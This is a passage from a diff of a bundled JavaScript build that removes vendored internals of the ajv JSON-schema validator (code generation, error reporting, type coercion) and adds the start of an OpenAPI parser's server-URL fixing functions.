name(prefix) { - return this._scope.name(prefix); - } - // reserves unique name in the external scope - scopeName(prefix) { - return this._extScope.name(prefix); - } - // reserves unique name in the external scope and assigns value to it - scopeValue(prefixOrName, value2) { - const name2 = this._extScope.value(prefixOrName, value2); - const vs = this._values[name2.prefix] || (this._values[name2.prefix] = /* @__PURE__ */ new Set()); - vs.add(name2); - return name2; - } - getScopeValue(prefix, keyOrRef) { - return this._extScope.getValue(prefix, keyOrRef); - } - // return code that assigns values in the external scope to the names that are used internally - // (same names that were returned by gen.scopeName or gen.scopeValue) - scopeRefs(scopeName) { - return this._extScope.scopeRefs(scopeName, this._values); - } - scopeCode() { - return this._extScope.scopeCode(this._values); - } - _def(varKind, nameOrPrefix, rhs, constant2) { - const name2 = this._scope.toName(nameOrPrefix); - if (rhs !== void 0 && constant2) - this._constants[name2.str] = rhs; - this._leafNode(new Def(varKind, name2, rhs)); - return name2; - } - // `const` declaration (`var` in es5 mode) - const(nameOrPrefix, rhs, _constant) { - return this._def(scope_1.varKinds.const, nameOrPrefix, rhs, _constant); - } - // `let` declaration with optional assignment (`var` in es5 mode) - let(nameOrPrefix, rhs, _constant) { - return this._def(scope_1.varKinds.let, nameOrPrefix, rhs, _constant); - } - // `var` declaration with optional assignment - var(nameOrPrefix, rhs, _constant) { - return this._def(scope_1.varKinds.var, nameOrPrefix, rhs, _constant); - } - // assignment code - assign(lhs, rhs, sideEffects) { - return this._leafNode(new Assign(lhs, rhs, sideEffects)); - } - // `+=` code - add(lhs, rhs) { - return this._leafNode(new AssignOp(lhs, exports28.operators.ADD, rhs)); - } - // appends passed SafeExpr to code or executes Block - code(c7) { - if (typeof c7 == "function") - c7(); - else if (c7 !== code_1.nil) - this._leafNode(new AnyCode(c7)); - return this; - } - // returns code for object literal for the passed argument list of key-value pairs - object(...keyValues) { - const code = ["{"]; - for (const [key, value2] of keyValues) { - if (code.length > 1) - code.push(","); - code.push(key); - if (key !== value2 || this.opts.es5) { - code.push(":"); - (0, code_1.addCodeArg)(code, value2); - } - } - code.push("}"); - return new code_1._Code(code); - } - // `if` clause (or statement if `thenBody` and, optionally, `elseBody` are passed) - if(condition, thenBody, elseBody) { - this._blockNode(new If(condition)); - if (thenBody && elseBody) { - this.code(thenBody).else().code(elseBody).endIf(); - } else if (thenBody) { - this.code(thenBody).endIf(); - } else if (elseBody) { - throw new Error('CodeGen: "else" body without "then" body'); - } - return this; - } - // `else if` clause - invalid without `if` or after `else` clauses - elseIf(condition) { - return this._elseNode(new If(condition)); - } - // `else` clause - only valid after `if` or `else if` clauses - else() { - return this._elseNode(new Else()); - } - // end `if` statement (needed if gen.if was used only with condition) - endIf() { - return this._endBlockNode(If, Else); - } - _for(node, forBody) { - this._blockNode(node); - if (forBody) - this.code(forBody).endFor(); - return this; - } - // a generic `for` clause (or statement if `forBody` is passed) - for(iteration, forBody) { - return this._for(new ForLoop(iteration), forBody); - } - // `for` statement for a range of values - forRange(nameOrPrefix, from, to, forBody, varKind = this.opts.es5 ? scope_1.varKinds.var : scope_1.varKinds.let) { - const name2 = this._scope.toName(nameOrPrefix); - return this._for(new ForRange(varKind, name2, from, to), () => forBody(name2)); - } - // `for-of` statement (in es5 mode replace with a normal for loop) - forOf(nameOrPrefix, iterable, forBody, varKind = scope_1.varKinds.const) { - const name2 = this._scope.toName(nameOrPrefix); - if (this.opts.es5) { - const arr = iterable instanceof code_1.Name ? iterable : this.var("_arr", iterable); - return this.forRange("_i", 0, (0, code_1._)`${arr}.length`, (i7) => { - this.var(name2, (0, code_1._)`${arr}[${i7}]`); - forBody(name2); - }); - } - return this._for(new ForIter("of", varKind, name2, iterable), () => forBody(name2)); - } - // `for-in` statement. - // With option `ownProperties` replaced with a `for-of` loop for object keys - forIn(nameOrPrefix, obj, forBody, varKind = this.opts.es5 ? scope_1.varKinds.var : scope_1.varKinds.const) { - if (this.opts.ownProperties) { - return this.forOf(nameOrPrefix, (0, code_1._)`Object.keys(${obj})`, forBody); - } - const name2 = this._scope.toName(nameOrPrefix); - return this._for(new ForIter("in", varKind, name2, obj), () => forBody(name2)); - } - // end `for` loop - endFor() { - return this._endBlockNode(For); - } - // `label` statement - label(label) { - return this._leafNode(new Label(label)); - } - // `break` statement - break(label) { - return this._leafNode(new Break(label)); - } - // `return` statement - return(value2) { - const node = new Return(); - this._blockNode(node); - this.code(value2); - if (node.nodes.length !== 1) - throw new Error('CodeGen: "return" should have one node'); - return this._endBlockNode(Return); - } - // `try` statement - try(tryBody, catchCode, finallyCode) { - if (!catchCode && !finallyCode) - throw new Error('CodeGen: "try" without "catch" and "finally"'); - const node = new Try(); - this._blockNode(node); - this.code(tryBody); - if (catchCode) { - const error2 = this.name("e"); - this._currNode = node.catch = new Catch(error2); - catchCode(error2); - } - if (finallyCode) { - this._currNode = node.finally = new Finally(); - this.code(finallyCode); - } - return this._endBlockNode(Catch, Finally); - } - // `throw` statement - throw(error2) { - return this._leafNode(new Throw(error2)); - } - // start self-balancing block - block(body, nodeCount) { - this._blockStarts.push(this._nodes.length); - if (body) - this.code(body).endBlock(nodeCount); - return this; - } - // end the current self-balancing block - endBlock(nodeCount) { - const len = this._blockStarts.pop(); - if (len === void 0) - throw new Error("CodeGen: not in self-balancing block"); - const toClose = this._nodes.length - len; - if (toClose < 0 || nodeCount !== void 0 && toClose !== nodeCount) { - throw new Error(`CodeGen: wrong number of nodes: ${toClose} vs ${nodeCount} expected`); - } - this._nodes.length = len; - return this; - } - // `function` heading (or definition if funcBody is passed) - func(name2, args = code_1.nil, async, funcBody) { - this._blockNode(new Func(name2, args, async)); - if (funcBody) - this.code(funcBody).endFunc(); - return this; - } - // end function definition - endFunc() { - return this._endBlockNode(Func); - } - optimize(n7 = 1) { - while (n7-- > 0) { - this._root.optimizeNodes(); - this._root.optimizeNames(this._root.names, this._constants); - } - } - _leafNode(node) { - this._currNode.nodes.push(node); - return this; - } - _blockNode(node) { - this._currNode.nodes.push(node); - this._nodes.push(node); - } - _endBlockNode(N1, N22) { - const n7 = this._currNode; - if (n7 instanceof N1 || N22 && n7 instanceof N22) { - this._nodes.pop(); - return this; - } - throw new Error(`CodeGen: not in block "${N22 ? `${N1.kind}/${N22.kind}` : N1.kind}"`); - } - _elseNode(node) { - const n7 = this._currNode; - if (!(n7 instanceof If)) { - throw new Error('CodeGen: "else" without "if"'); - } - this._currNode = n7.else = node; - return this; - } - get _root() { - return this._nodes[0]; - } - get _currNode() { - const ns = this._nodes; - return ns[ns.length - 1]; - } - set _currNode(node) { - const ns = this._nodes; - ns[ns.length - 1] = node; - } - }; - exports28.CodeGen = CodeGen; - function addNames(names, from) { - for (const n7 in from) - names[n7] = (names[n7] || 0) + (from[n7] || 0); - return names; - } - function addExprNames(names, from) { - return from instanceof code_1._CodeOrName ? addNames(names, from.names) : names; - } - function optimizeExpr(expr, names, constants5) { - if (expr instanceof code_1.Name) - return replaceName(expr); - if (!canOptimize(expr)) - return expr; - return new code_1._Code(expr._items.reduce((items, c7) => { - if (c7 instanceof code_1.Name) - c7 = replaceName(c7); - if (c7 instanceof code_1._Code) - items.push(...c7._items); - else - items.push(c7); - return items; - }, [])); - function replaceName(n7) { - const c7 = constants5[n7.str]; - if (c7 === void 0 || names[n7.str] !== 1) - return n7; - delete names[n7.str]; - return c7; - } - function canOptimize(e10) { - return e10 instanceof code_1._Code && e10._items.some((c7) => c7 instanceof code_1.Name && names[c7.str] === 1 && constants5[c7.str] !== void 0); - } - } - function subtractNames(names, from) { - for (const n7 in from) - names[n7] = (names[n7] || 0) - (from[n7] || 0); - } - function not(x7) { - return typeof x7 == "boolean" || typeof x7 == "number" || x7 === null ? !x7 : (0, code_1._)`!${par(x7)}`; - } - exports28.not = not; - var andCode = mappend(exports28.operators.AND); - function and(...args) { - return args.reduce(andCode); - } - exports28.and = and; - var orCode = mappend(exports28.operators.OR); - function or(...args) { - return args.reduce(orCode); - } - exports28.or = or; - function mappend(op) { - return (x7, y7) => x7 === code_1.nil ? y7 : y7 === code_1.nil ? x7 : (0, code_1._)`${par(x7)} ${op} ${par(y7)}`; - } - function par(x7) { - return x7 instanceof code_1.Name ? x7 : (0, code_1._)`(${x7})`; - } - } -}); - -// node_modules/ajv/dist/compile/util.js -var require_util = __commonJS({ - "node_modules/ajv/dist/compile/util.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - exports28.checkStrictMode = exports28.getErrorPath = exports28.Type = exports28.useFunc = exports28.setEvaluated = exports28.evaluatedPropsToName = exports28.mergeEvaluated = exports28.eachItem = exports28.unescapeJsonPointer = exports28.escapeJsonPointer = exports28.escapeFragment = exports28.unescapeFragment = exports28.schemaRefOrVal = exports28.schemaHasRulesButRef = exports28.schemaHasRules = exports28.checkUnknownRules = exports28.alwaysValidSchema = exports28.toHash = void 0; - var codegen_1 = require_codegen(); - var code_1 = require_code(); - function toHash(arr) { - const hash = {}; - for (const item of arr) - hash[item] = true; - return hash; - } - exports28.toHash = toHash; - function alwaysValidSchema(it2, schema8) { - if (typeof schema8 == "boolean") - return schema8; - if (Object.keys(schema8).length === 0) - return true; - checkUnknownRules(it2, schema8); - return !schemaHasRules(schema8, it2.self.RULES.all); - } - exports28.alwaysValidSchema = alwaysValidSchema; - function checkUnknownRules(it2, schema8 = it2.schema) { - const { opts, self: self2 } = it2; - if (!opts.strictSchema) - return; - if (typeof schema8 === "boolean") - return; - const rules = self2.RULES.keywords; - for (const key in schema8) { - if (!rules[key]) - checkStrictMode(it2, `unknown keyword: "${key}"`); - } - } - exports28.checkUnknownRules = checkUnknownRules; - function schemaHasRules(schema8, rules) { - if (typeof schema8 == "boolean") - return !schema8; - for (const key in schema8) - if (rules[key]) - return true; - return false; - } - exports28.schemaHasRules = schemaHasRules; - function schemaHasRulesButRef(schema8, RULES) { - if (typeof schema8 == "boolean") - return !schema8; - for (const key in schema8) - if (key !== "$ref" && RULES.all[key]) - return true; - return false; - } - exports28.schemaHasRulesButRef = schemaHasRulesButRef; - function schemaRefOrVal({ topSchemaRef, schemaPath }, schema8, keyword, $data) { - if (!$data) { - if (typeof schema8 == "number" || typeof schema8 == "boolean") - return schema8; - if (typeof schema8 == "string") - return (0, codegen_1._)`${schema8}`; - } - return (0, codegen_1._)`${topSchemaRef}${schemaPath}${(0, codegen_1.getProperty)(keyword)}`; - } - exports28.schemaRefOrVal = schemaRefOrVal; - function unescapeFragment(str2) { - return unescapeJsonPointer(decodeURIComponent(str2)); - } - exports28.unescapeFragment = unescapeFragment; - function escapeFragment(str2) { - return encodeURIComponent(escapeJsonPointer(str2)); - } - exports28.escapeFragment = escapeFragment; - function escapeJsonPointer(str2) { - if (typeof str2 == "number") - return `${str2}`; - return str2.replace(/~/g, "~0").replace(/\//g, "~1"); - } - exports28.escapeJsonPointer = escapeJsonPointer; - function unescapeJsonPointer(str2) { - return str2.replace(/~1/g, "/").replace(/~0/g, "~"); - } - exports28.unescapeJsonPointer = unescapeJsonPointer; - function eachItem(xs, f8) { - if (Array.isArray(xs)) { - for (const x7 of xs) - f8(x7); - } else { - f8(xs); - } - } - exports28.eachItem = eachItem; - function makeMergeEvaluated({ mergeNames, mergeToName, mergeValues: mergeValues2, resultToName }) { - return (gen, from, to, toName) => { - const res = to === void 0 ? from : to instanceof codegen_1.Name ? (from instanceof codegen_1.Name ? mergeNames(gen, from, to) : mergeToName(gen, from, to), to) : from instanceof codegen_1.Name ? (mergeToName(gen, to, from), from) : mergeValues2(from, to); - return toName === codegen_1.Name && !(res instanceof codegen_1.Name) ? resultToName(gen, res) : res; - }; - } - exports28.mergeEvaluated = { - props: makeMergeEvaluated({ - mergeNames: (gen, from, to) => gen.if((0, codegen_1._)`${to} !== true && ${from} !== undefined`, () => { - gen.if((0, codegen_1._)`${from} === true`, () => gen.assign(to, true), () => gen.assign(to, (0, codegen_1._)`${to} || {}`).code((0, codegen_1._)`Object.assign(${to}, ${from})`)); - }), - mergeToName: (gen, from, to) => gen.if((0, codegen_1._)`${to} !== true`, () => { - if (from === true) { - gen.assign(to, true); - } else { - gen.assign(to, (0, codegen_1._)`${to} || {}`); - setEvaluated(gen, to, from); - } - }), - mergeValues: (from, to) => from === true ? true : { ...from, ...to }, - resultToName: evaluatedPropsToName - }), - items: makeMergeEvaluated({ - mergeNames: (gen, from, to) => gen.if((0, codegen_1._)`${to} !== true && ${from} !== undefined`, () => gen.assign(to, (0, codegen_1._)`${from} === true ? true : ${to} > ${from} ? ${to} : ${from}`)), - mergeToName: (gen, from, to) => gen.if((0, codegen_1._)`${to} !== true`, () => gen.assign(to, from === true ? true : (0, codegen_1._)`${to} > ${from} ? ${to} : ${from}`)), - mergeValues: (from, to) => from === true ? true : Math.max(from, to), - resultToName: (gen, items) => gen.var("items", items) - }) - }; - function evaluatedPropsToName(gen, ps) { - if (ps === true) - return gen.var("props", true); - const props = gen.var("props", (0, codegen_1._)`{}`); - if (ps !== void 0) - setEvaluated(gen, props, ps); - return props; - } - exports28.evaluatedPropsToName = evaluatedPropsToName; - function setEvaluated(gen, props, ps) { - Object.keys(ps).forEach((p7) => gen.assign((0, codegen_1._)`${props}${(0, codegen_1.getProperty)(p7)}`, true)); - } - exports28.setEvaluated = setEvaluated; - var snippets = {}; - function useFunc(gen, f8) { - return gen.scopeValue("func", { - ref: f8, - code: snippets[f8.code] || (snippets[f8.code] = new code_1._Code(f8.code)) - }); - } - exports28.useFunc = useFunc; - var Type3; - (function(Type4) { - Type4[Type4["Num"] = 0] = "Num"; - Type4[Type4["Str"] = 1] = "Str"; - })(Type3 || (exports28.Type = Type3 = {})); - function getErrorPath(dataProp, dataPropType, jsPropertySyntax) { - if (dataProp instanceof codegen_1.Name) { - const isNumber3 = dataPropType === Type3.Num; - return jsPropertySyntax ? isNumber3 ? (0, codegen_1._)`"[" + ${dataProp} + "]"` : (0, codegen_1._)`"['" + ${dataProp} + "']"` : isNumber3 ? (0, codegen_1._)`"/" + ${dataProp}` : (0, codegen_1._)`"/" + ${dataProp}.replace(/~/g, "~0").replace(/\\//g, "~1")`; - } - return jsPropertySyntax ? (0, codegen_1.getProperty)(dataProp).toString() : "/" + escapeJsonPointer(dataProp); - } - exports28.getErrorPath = getErrorPath; - function checkStrictMode(it2, msg, mode = it2.opts.strictSchema) { - if (!mode) - return; - msg = `strict mode: ${msg}`; - if (mode === true) - throw new Error(msg); - it2.self.logger.warn(msg); - } - exports28.checkStrictMode = checkStrictMode; - } -}); - -// node_modules/ajv/dist/compile/names.js -var require_names = __commonJS({ - "node_modules/ajv/dist/compile/names.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - var codegen_1 = require_codegen(); - var names = { - // validation function arguments - data: new codegen_1.Name("data"), - // data passed to validation function - // args passed from referencing schema - valCxt: new codegen_1.Name("valCxt"), - // validation/data context - should not be used directly, it is destructured to the names below - instancePath: new codegen_1.Name("instancePath"), - parentData: new codegen_1.Name("parentData"), - parentDataProperty: new codegen_1.Name("parentDataProperty"), - rootData: new codegen_1.Name("rootData"), - // root data - same as the data passed to the first/top validation function - dynamicAnchors: new codegen_1.Name("dynamicAnchors"), - // used to support recursiveRef and dynamicRef - // function scoped variables - vErrors: new codegen_1.Name("vErrors"), - // null or array of validation errors - errors: new codegen_1.Name("errors"), - // counter of validation errors - this: new codegen_1.Name("this"), - // "globals" - self: new codegen_1.Name("self"), - scope: new codegen_1.Name("scope"), - // JTD serialize/parse name for JSON string and position - json: new codegen_1.Name("json"), - jsonPos: new codegen_1.Name("jsonPos"), - jsonLen: new codegen_1.Name("jsonLen"), - jsonPart: new codegen_1.Name("jsonPart") - }; - exports28.default = names; - } -}); - -// node_modules/ajv/dist/compile/errors.js -var require_errors = __commonJS({ - "node_modules/ajv/dist/compile/errors.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); + module5.exports = exports28 = Ajv7; Object.defineProperty(exports28, "__esModule", { value: true }); - exports28.extendErrors = exports28.resetErrorsCount = exports28.reportExtraError = exports28.reportError = exports28.keyword$DataError = exports28.keywordError = void 0; - var codegen_1 = require_codegen(); - var util_1 = require_util(); - var names_1 = require_names(); - exports28.keywordError = { - message: ({ keyword }) => (0, codegen_1.str)`must pass "${keyword}" keyword validation` - }; - exports28.keyword$DataError = { - message: ({ keyword, schemaType }) => schemaType ? (0, codegen_1.str)`"${keyword}" keyword must be ${schemaType} ($data)` : (0, codegen_1.str)`"${keyword}" keyword is invalid ($data)` - }; - function reportError(cxt, error2 = exports28.keywordError, errorPaths, overrideAllErrors) { - const { it: it2 } = cxt; - const { gen, compositeRule, allErrors } = it2; - const errObj = errorObjectCode(cxt, error2, errorPaths); - if (overrideAllErrors !== null && overrideAllErrors !== void 0 ? overrideAllErrors : compositeRule || allErrors) { - addError(gen, errObj); - } else { - returnErrors(it2, (0, codegen_1._)`[${errObj}]`); - } - } - exports28.reportError = reportError; - function reportExtraError(cxt, error2 = exports28.keywordError, errorPaths) { - const { it: it2 } = cxt; - const { gen, compositeRule, allErrors } = it2; - const errObj = errorObjectCode(cxt, error2, errorPaths); - addError(gen, errObj); - if (!(compositeRule || allErrors)) { - returnErrors(it2, names_1.default.vErrors); - } - } - exports28.reportExtraError = reportExtraError; - function resetErrorsCount(gen, errsCount) { - gen.assign(names_1.default.errors, errsCount); - gen.if((0, codegen_1._)`${names_1.default.vErrors} !== null`, () => gen.if(errsCount, () => gen.assign((0, codegen_1._)`${names_1.default.vErrors}.length`, errsCount), () => gen.assign(names_1.default.vErrors, null))); - } - exports28.resetErrorsCount = resetErrorsCount; - function extendErrors({ gen, keyword, schemaValue, data, errsCount, it: it2 }) { - if (errsCount === void 0) - throw new Error("ajv implementation error"); - const err = gen.name("err"); - gen.forRange("i", errsCount, names_1.default.errors, (i7) => { - gen.const(err, (0, codegen_1._)`${names_1.default.vErrors}[${i7}]`); - gen.if((0, codegen_1._)`${err}.instancePath === undefined`, () => gen.assign((0, codegen_1._)`${err}.instancePath`, (0, codegen_1.strConcat)(names_1.default.instancePath, it2.errorPath))); - gen.assign((0, codegen_1._)`${err}.schemaPath`, (0, codegen_1.str)`${it2.errSchemaPath}/${keyword}`); - if (it2.opts.verbose) { - gen.assign((0, codegen_1._)`${err}.schema`, schemaValue); - gen.assign((0, codegen_1._)`${err}.data`, data); - } - }); - } - exports28.extendErrors = extendErrors; - function addError(gen, errObj) { - const err = gen.const("err", errObj); - gen.if((0, codegen_1._)`${names_1.default.vErrors} === null`, () => gen.assign(names_1.default.vErrors, (0, codegen_1._)`[${err}]`), (0, codegen_1._)`${names_1.default.vErrors}.push(${err})`); - gen.code((0, codegen_1._)`${names_1.default.errors}++`); - } - function returnErrors(it2, errs) { - const { gen, validateName, schemaEnv } = it2; - if (schemaEnv.$async) { - gen.throw((0, codegen_1._)`new ${it2.ValidationError}(${errs})`); - } else { - gen.assign((0, codegen_1._)`${validateName}.errors`, errs); - gen.return(false); - } - } - var E6 = { - keyword: new codegen_1.Name("keyword"), - schemaPath: new codegen_1.Name("schemaPath"), - // also used in JTD errors - params: new codegen_1.Name("params"), - propertyName: new codegen_1.Name("propertyName"), - message: new codegen_1.Name("message"), - schema: new codegen_1.Name("schema"), - parentSchema: new codegen_1.Name("parentSchema") - }; - function errorObjectCode(cxt, error2, errorPaths) { - const { createErrors } = cxt.it; - if (createErrors === false) - return (0, codegen_1._)`{}`; - return errorObject(cxt, error2, errorPaths); - } - function errorObject(cxt, error2, errorPaths = {}) { - const { gen, it: it2 } = cxt; - const keyValues = [ - errorInstancePath(it2, errorPaths), - errorSchemaPath(cxt, errorPaths) - ]; - extraErrorProps(cxt, error2, keyValues); - return gen.object(...keyValues); - } - function errorInstancePath({ errorPath }, { instancePath }) { - const instPath = instancePath ? (0, codegen_1.str)`${errorPath}${(0, util_1.getErrorPath)(instancePath, util_1.Type.Str)}` : errorPath; - return [names_1.default.instancePath, (0, codegen_1.strConcat)(names_1.default.instancePath, instPath)]; - } - function errorSchemaPath({ keyword, it: { errSchemaPath } }, { schemaPath, parentSchema }) { - let schPath = parentSchema ? errSchemaPath : (0, codegen_1.str)`${errSchemaPath}/${keyword}`; - if (schemaPath) { - schPath = (0, codegen_1.str)`${schPath}${(0, util_1.getErrorPath)(schemaPath, util_1.Type.Str)}`; - } - return [E6.schemaPath, schPath]; - } - function extraErrorProps(cxt, { params, message }, keyValues) { - const { keyword, data, schemaValue, it: it2 } = cxt; - const { opts, propertyName, topSchemaRef, schemaPath } = it2; - keyValues.push([E6.keyword, keyword], [E6.params, typeof params == "function" ? params(cxt) : params || (0, codegen_1._)`{}`]); - if (opts.messages) { - keyValues.push([E6.message, typeof message == "function" ? message(cxt) : message]); - } - if (opts.verbose) { - keyValues.push([E6.schema, schemaValue], [E6.parentSchema, (0, codegen_1._)`${topSchemaRef}${schemaPath}`], [names_1.default.data, data]); - } - if (propertyName) - keyValues.push([E6.propertyName, propertyName]); - } + exports28.default = Ajv7; + var core_2 = require_core(); + Object.defineProperty(exports28, "KeywordCxt", { enumerable: true, get: function() { + return core_2.KeywordCxt; + } }); + var core_3 = require_core(); + Object.defineProperty(exports28, "_", { enumerable: true, get: function() { + return core_3._; + } }); + Object.defineProperty(exports28, "str", { enumerable: true, get: function() { + return core_3.str; + } }); + Object.defineProperty(exports28, "stringify", { enumerable: true, get: function() { + return core_3.stringify; + } }); + Object.defineProperty(exports28, "nil", { enumerable: true, get: function() { + return core_3.nil; + } }); + Object.defineProperty(exports28, "Name", { enumerable: true, get: function() { + return core_3.Name; + } }); + Object.defineProperty(exports28, "CodeGen", { enumerable: true, get: function() { + return core_3.CodeGen; + } }); } }); -// node_modules/ajv/dist/compile/validate/boolSchema.js -var require_boolSchema = __commonJS({ - "node_modules/ajv/dist/compile/validate/boolSchema.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - exports28.boolOrEmptySchema = exports28.topBoolOrEmptySchema = void 0; - var errors_1 = require_errors(); - var codegen_1 = require_codegen(); - var names_1 = require_names(); - var boolError = { - message: "boolean schema is false" - }; - function topBoolOrEmptySchema(it2) { - const { gen, schema: schema8, validateName } = it2; - if (schema8 === false) { - falseSchemaError(it2, false); - } else if (typeof schema8 == "object" && schema8.$async === true) { - gen.return(names_1.default.data); - } else { - gen.assign((0, codegen_1._)`${validateName}.errors`, null); - gen.return(true); - } - } - exports28.topBoolOrEmptySchema = topBoolOrEmptySchema; - function boolOrEmptySchema(it2, valid) { - const { gen, schema: schema8 } = it2; - if (schema8 === false) { - gen.var(valid, false); - falseSchemaError(it2); - } else { - gen.var(valid, true); - } - } - exports28.boolOrEmptySchema = boolOrEmptySchema; - function falseSchemaError(it2, overrideAllErrors) { - const { gen, data } = it2; - const cxt = { - gen, - keyword: "false schema", - data, - schema: false, - schemaCode: false, - schemaValue: false, - params: {}, - it: it2 - }; - (0, errors_1.reportError)(cxt, boolError, void 0, overrideAllErrors); +// node_modules/@readme/openapi-parser/dist/index.js +function isOpenAPI(schema8) { + return "openapi" in schema8 && schema8.openapi !== void 0; +} +function fixServers(server, path2) { + if (server && "url" in server && server.url && server.url.startsWith("/")) { + try { + const inUrl = new URL(path2); + server.url = `${inUrl.protocol}//${inUrl.hostname}${server.url}`; + } catch { } } -}); - -// node_modules/ajv/dist/compile/rules.js -var require_rules = __commonJS({ - "node_modules/ajv/dist/compile/rules.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - exports28.getRules = exports28.isJSONType = void 0; - var _jsonTypes = ["string", "number", "integer", "boolean", "null", "object", "array"]; - var jsonTypes = new Set(_jsonTypes); - function isJSONType(x7) { - return typeof x7 == "string" && jsonTypes.has(x7); - } - exports28.isJSONType = isJSONType; - function getRules() { - const groups = { - number: { type: "number", rules: [] }, - string: { type: "string", rules: [] }, - array: { type: "array", rules: [] }, - object: { type: "object", rules: [] } - }; - return { - types: { ...groups, integer: true, boolean: true, null: true }, - rules: [{ rules: [] }, groups.number, groups.string, groups.array, groups.object], - post: { rules: [] }, - all: {}, - keywords: {} - }; - } - exports28.getRules = getRules; +} +function fixOasRelativeServers(schema8, filePath) { + if (!schema8 || !isOpenAPI(schema8) || !filePath || !filePath.startsWith("http:") && !filePath.startsWith("https:")) { + return; } -}); - -// node_modules/ajv/dist/compile/validate/applicability.js -var require_applicability = __commonJS({ - "node_modules/ajv/dist/compile/validate/applicability.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - exports28.shouldUseRule = exports28.shouldUseGroup = exports28.schemaHasRulesForType = void 0; - function schemaHasRulesForType({ schema: schema8, self: self2 }, type3) { - const group2 = self2.RULES.types[type3]; - return group2 && group2 !== true && shouldUseGroup(schema8, group2); - } - exports28.schemaHasRulesForType = schemaHasRulesForType; - function shouldUseGroup(schema8, group2) { - return group2.rules.some((rule) => shouldUseRule(schema8, rule)); - } - exports28.shouldUseGroup = shouldUseGroup; - function shouldUseRule(schema8, rule) { - var _a2; - return schema8[rule.keyword] !== void 0 || ((_a2 = rule.definition.implements) === null || _a2 === void 0 ? void 0 : _a2.some((kwd) => schema8[kwd] !== void 0)); - } - exports28.shouldUseRule = shouldUseRule; + if (schema8.servers) { + schema8.servers.map((server) => fixServers(server, filePath)); } -}); - -// node_modules/ajv/dist/compile/validate/dataType.js -var require_dataType = __commonJS({ - "node_modules/ajv/dist/compile/validate/dataType.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - exports28.reportTypeError = exports28.checkDataTypes = exports28.checkDataType = exports28.coerceAndCheckDataType = exports28.getJSONTypes = exports28.getSchemaTypes = exports28.DataType = void 0; - var rules_1 = require_rules(); - var applicability_1 = require_applicability(); - var errors_1 = require_errors(); - var codegen_1 = require_codegen(); - var util_1 = require_util(); - var DataType; - (function(DataType2) { - DataType2[DataType2["Correct"] = 0] = "Correct"; - DataType2[DataType2["Wrong"] = 1] = "Wrong"; - })(DataType || (exports28.DataType = DataType = {})); - function getSchemaTypes(schema8) { - const types3 = getJSONTypes(schema8.type); - const hasNull = types3.includes("null"); - if (hasNull) { - if (schema8.nullable === false) - throw new Error("type: null contradicts nullable: false"); - } else { - if (!types3.length && schema8.nullable !== void 0) { - throw new Error('"nullable" cannot be used without "type"'); - } - if (schema8.nullable === true) - types3.push("null"); - } - return types3; - } - exports28.getSchemaTypes = getSchemaTypes; - function getJSONTypes(ts) { - const types3 = Array.isArray(ts) ? ts : ts ? [ts] : []; - if (types3.every(rules_1.isJSONType)) - return types3; - throw new Error("type must be JSONType or JSONType[]: " + types3.join(",")); - } - exports28.getJSONTypes = getJSONTypes; - function coerceAndCheckDataType(it2, types3) { - const { gen, data, opts } = it2; - const coerceTo = coerceToTypes(types3, opts.coerceTypes); - const checkTypes = types3.length > 0 && !(coerceTo.length === 0 && types3.length === 1 && (0, applicability_1.schemaHasRulesForType)(it2, types3[0])); - if (checkTypes) { - const wrongType = checkDataTypes(types3, data, opts.strictNumbers, DataType.Wrong); - gen.if(wrongType, () => { - if (coerceTo.length) - coerceData(it2, types3, coerceTo); - else - reportTypeError(it2); - }); - } - return checkTypes; - } - exports28.coerceAndCheckDataType = coerceAndCheckDataType; - var COERCIBLE = /* @__PURE__ */ new Set(["string", "number", "integer", "boolean", "null"]); - function coerceToTypes(types3, coerceTypes) { - return coerceTypes ? types3.filter((t8) => COERCIBLE.has(t8) || coerceTypes === "array" && t8 === "array") : []; - } - function coerceData(it2, types3, coerceTo) { - const { gen, data, opts } = it2; - const dataType = gen.let("dataType", (0, codegen_1._)`typeof ${data}`); - const coerced = gen.let("coerced", (0, codegen_1._)`undefined`); - if (opts.coerceTypes === "array") { - gen.if((0, codegen_1._)`${dataType} == 'object' && Array.isArray(${data}) && ${data}.length == 1`, () => gen.assign(data, (0, codegen_1._)`${data}[0]`).assign(dataType, (0, codegen_1._)`typeof ${data}`).if(checkDataTypes(types3, data, opts.strictNumbers), () => gen.assign(coerced, data))); - } - gen.if((0, codegen_1._)`${coerced} !== undefined`); - for (const t8 of coerceTo) { - if (COERCIBLE.has(t8) || t8 === "array" && opts.coerceTypes === "array") { - coerceSpecificType(t8); - } - } - gen.else(); - reportTypeError(it2); - gen.endIf(); - gen.if((0, codegen_1._)`${coerced} !== undefined`, () => { - gen.assign(data, coerced); - assignParentData(it2, coerced); - }); - function coerceSpecificType(t8) { - switch (t8) { - case "string": - gen.elseIf((0, codegen_1._)`${dataType} == "number" || ${dataType} == "boolean"`).assign(coerced, (0, codegen_1._)`"" + ${data}`).elseIf((0, codegen_1._)`${data} === null`).assign(coerced, (0, codegen_1._)`""`); - return; - case "number": - gen.elseIf((0, codegen_1._)`${dataType} == "boolean" || ${data} === null - || (${dataType} == "string" && ${data} && ${data} == +${data})`).assign(coerced, (0, codegen_1._)`+${data}`); - return; - case "integer": - gen.elseIf((0, codegen_1._)`${dataType} === "boolean" || ${data} === null - || (${dataType} === "string" && ${data} && ${data} == +${data} && !(${data} % 1))`).assign(coerced, (0, codegen_1._)`+${data}`); - return; - case "boolean": - gen.elseIf((0, codegen_1._)`${data} === "false" || ${data} === 0 || ${data} === null`).assign(coerced, false).elseIf((0, codegen_1._)`${data} === "true" || ${data} === 1`).assign(coerced, true); + ["paths", "webhooks"].forEach((component) => { + if (component in schema8) { + const schemaElement = schema8.paths || {}; + Object.keys(schemaElement).forEach((path2) => { + const pathItem = schemaElement[path2] || {}; + Object.keys(pathItem).forEach((opItem) => { + const pathItemElement = pathItem[opItem]; + 